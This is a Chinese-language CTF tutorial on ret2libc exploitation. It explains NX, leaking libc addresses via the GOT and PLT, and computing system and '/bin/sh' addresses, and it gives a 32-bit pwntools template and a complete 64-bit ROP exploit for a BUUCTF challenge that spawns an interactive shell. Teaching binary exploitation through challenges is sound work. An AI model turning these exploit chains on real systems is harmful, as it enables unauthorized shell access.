前言
菜鸡总结,如有不对,请不吝赐教。
0x1 :使用前提条件
存在溢出条件,题目没有system等后门函数,并且开启了NX保护
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。这样就会导致你直接构造的shellcode没有用。
0x2 :解题思路
首先要明白我们的目的是找到system函数以及binsh参数的地址。
那怎么找到system(/bin/sh)的地址呢?
首先我们要知道一个公式 :函数的真正地址 = 基地址 + 偏移地址
偏移地址:这就是与libc有关的原因,libc是Linux系统下的c函数库,既然是函数库就会存在system函数,binsh参数,libc里面存放的是函数的偏移地址。但是libc.so版本有很多,版本不同偏移量就不同,只要确定了libc版本就能偏移地址。
基地址:基地址在同一次运行时是相同的,但第二次运行就不同了,所以造成了函数的真正地址一直在变,但即使一直在变,最后三位却一直相同。这样只要知道某个函数的某一次地址,利用它的后三位,然后在网站上https://libc.blukat.me/搜寻,就能获得libc版本
综上的分析结果是:泄露某个函数的真正地址,然后利用最后三位来确定libc版本,然后用来查找system函数与该函数的偏移地址。利用公式基地址 = 函数的真正地址- 偏移量 来确定基地址。然后利用公式来确定system函数真正地址。
那怎样获得其他函数的真正地址?
我们知道puts函数,write函数等可以打印内容,这样的话我们可以直接利用他们打印出他们的真正地址(注意这个函数必须已经出现过了)。
我们可以使用Linux延迟绑定机制。这个只需知道在libc中存在got表和plt表,plt存放的是进入这个函数的地址,而got表中存放的是这个函数的真正地址。
我们可以利用puts函数,write函数等函数打印它自己的真正的地址,然后找到libc版本,基地址,然后找到system函数地址
0x3 :32位程序libc题型模板
如果以上的讲解不懂,没关系,只要你会写就行,因为libc题型大体是有一个模板的,你记住了就行。
from pwn import *
r = process("./pwn")
#r = remote()
libc = ELF("./libc____")
e = ELF("./pwn")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
offset =
payload = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
#r.recvuntil()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
write_offset = libc.symbols["write"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search("/bin/sh").next()
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
payload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
#r.recvuntil()
r.sendline(payload)
r.interactive()
0x4 :代码的解析
e = ELF("./pwn")
调用题目pwn的elf文件
context(log_level = ‘debug’)
这是debug调试代码,做这种题很难一步就做对,加上这个方便你调试查看问题
write_plt_addr = e.plt[“write”]
write_got_addr = e.got[“write”]
main_addr = e.symbols[“main”]
调用程序的的elf文件,然后这个是打印出其中write函数的plt表和got表的地址,以及打印main函数的地址(打印函数用symbols)
payload:
offset = 0x88 + 4
payload = offset*‘a’ + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
构造payload,先是填充字节,然后到达返回地址。利用rop技术。
32位程序:先是write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)
注意:这里的预留返回地址很重要,它的目的是要再循环一此,所以该地址必须在溢出点之前,可以是main函数起点
目的:利用write函数打印的功能,泄露write函数的真正地址(got表中的,当然你也可以泄露其他在main函数里面已经运行过的函数)。
r.recvuntil(“Input:\n”)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
第一行的意思是在"input:\n"以后发送payload,然后u32是32位解包,r.recv接收字节4位。最后print打印write函数的地址,hex是以十六进制的形式
打印出write函数的地址以后,怎么找到函数的偏移量呢?
(1)利用后三位用https://libc.blukat.me/来查询libc版本以此来获取函数的偏移量。直接自己手动打出来
write_offset = 0x000DD460
system_offset = 0x040310
binsh_offset = 0x162D4C
(2)利用LibcSearch模块自动的获取libc版本,然后直接就可以打印出来偏移量了,不过有些libc版本找不到,并且如果题目给出了libc版本,像buuctf里面的给出了libc版本就无需用这个方法了。
from LibcSearcher import
libc=LibcSearcher(‘read’,read_addr) #read为你要泄露的地址
read_offset = libc.dump(‘read’)
system_offset = libc.dump(‘system’)
binsh_offset = libc.dump(‘str_bin_sh’)
(3)如果题目直接给出了文件的libc版本,就无需自己写出具体的偏移量了
libc = ELF("./libc-2.27.so")
system_offset = libc.symbols[‘system’]
binsh_offset = libc.search(’/bin/sh’).next()
write_offset = libc.symbols[‘write’]
找到偏移量以后,接下来就是利用公式函数的真正地址 = 函数偏移地址 + 基地址。来获得基地址,以此来获得system函数的真正地址
write_offset = 0x000DD460
system_offset = 0x040310
binsh_offset = 0x162D4C
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
找到system函数和binsh参数地址以后,就和以前的溢出一样了,并且之前发送的payload是回到了main函数,即重新开始运行程序
0x5 :64位程序实例
上面的讲解是32位程序的,下面以64位程序的jarvisoj_level3_x64题为例进行讲解。
注意:32位程序和64位程序会存在不同。且与32位程序相比,64位程序相比更加复杂。
程序分析 :64位程序,只开启了NX保护 。然后打开IDA,查看一下程序源代码
代码分析:很明显read函数存在溢出。 然后查找字符串没有发现后门地址,开启了NX保护,利用libc泄露system函数地址
64位与32位程序不同①:64位是先传参,而32是栈里面传参是后传参。64位程序的参数从左到右依次放入寄存器: rdi, rsi, rdx, rcx, r8, r9中。
payload:
payload = offset*‘a’ + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
含义:偏移量 + rdi寄存器 + 第一个参数 + rsi寄存器 + 第二个参数 + rdx寄存器 + 第三个参数 + write函数的地址 + 预留返回地址
在传参时先需要确定这个参数的位置命令为:
ROPgadget --binary ./pwn --only “pop|ret”
muggle@muggle-virtual-machine:~/CTF-Pwn/jieti-pwn$ ROPgadget --binary ./pwn --only “pop|ret”
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 11
注意:
(1)由于该程序,没有rdx寄存器,而write函数的第三个参数为输出的字节数,而无论你输出多少,我只要取前面几个就行了,所以rdx从寄存器没有也没事。同时在这道题当中rsi后后面还有一个r15,所以无论你输入什么都可以,这就是加上那个p64(0)的原因。
(2)如果是puts函数的话,就只有一个参数,只要一个寄存器rdi就会更加简单。
不同之处②,64位需要字节数对齐,所以有时候你需要加入一个ret_addr 地地址,至于具体是什么时候加我还是没搞懂。
由于本题存在libc版本,直接可以用前面提到的第三种方法来求偏移量。
完整的exp :
from pwn import *
r = remote("node4.buuoj.cn",25714)
#r = process("./pwn")
context(log_level = 'debug')
e = ELF("./pwn")
libc = ELF("./libc-2.23.so")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
rdi_addr = 0x00000000004006b3
rsi_r15_addr = 0x00000000004006b1
offset = 0x80 + 8
payload = offset*'a' + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
r.recvuntil("Input:\n")
r.sendline(payload)
write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#write_addr = u64(r.recv(8))
print(hex(write_addr))
base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = offset*'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()
注意:
不同之处③
write_addr = u64(r.recvuntil(’\x7f’)[-6:].ljust(8,"\x00"))
代码含义:接收从7f之前的6位,然后不足的用0补充(ljust(8,“、x00”))
当然这道题用下面两种都是可以的,但是有些情况却不行,如下图
write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#write_addr = u64(r.recv(8))
首先你要知道这个64位的地址都是7f开头的
如果是用第二种的话就会截取前八个字节,而在7f之前还有另外的输出,就会造成错误,而用的是第一种取7f之前的就不会出错,所以以后尽量用第一种,不容易出错。你当然可以用debug调试查看一下。
说明:以上的所有情况并不都是绝对的,具体题目题目会存在不同,所以需要你自己学会怎么样去调试
注意:recvuntil()时如果时puts函数,你复制粘贴时一定要记得加上\n,这个当你运行这个程序时可以看到它时换行了的,而puts函数是自动添加了\n,在代码里面没有写出来。
我也不知道讲明白没有,可能也存在问题,如有什么不对。请不吝赐教。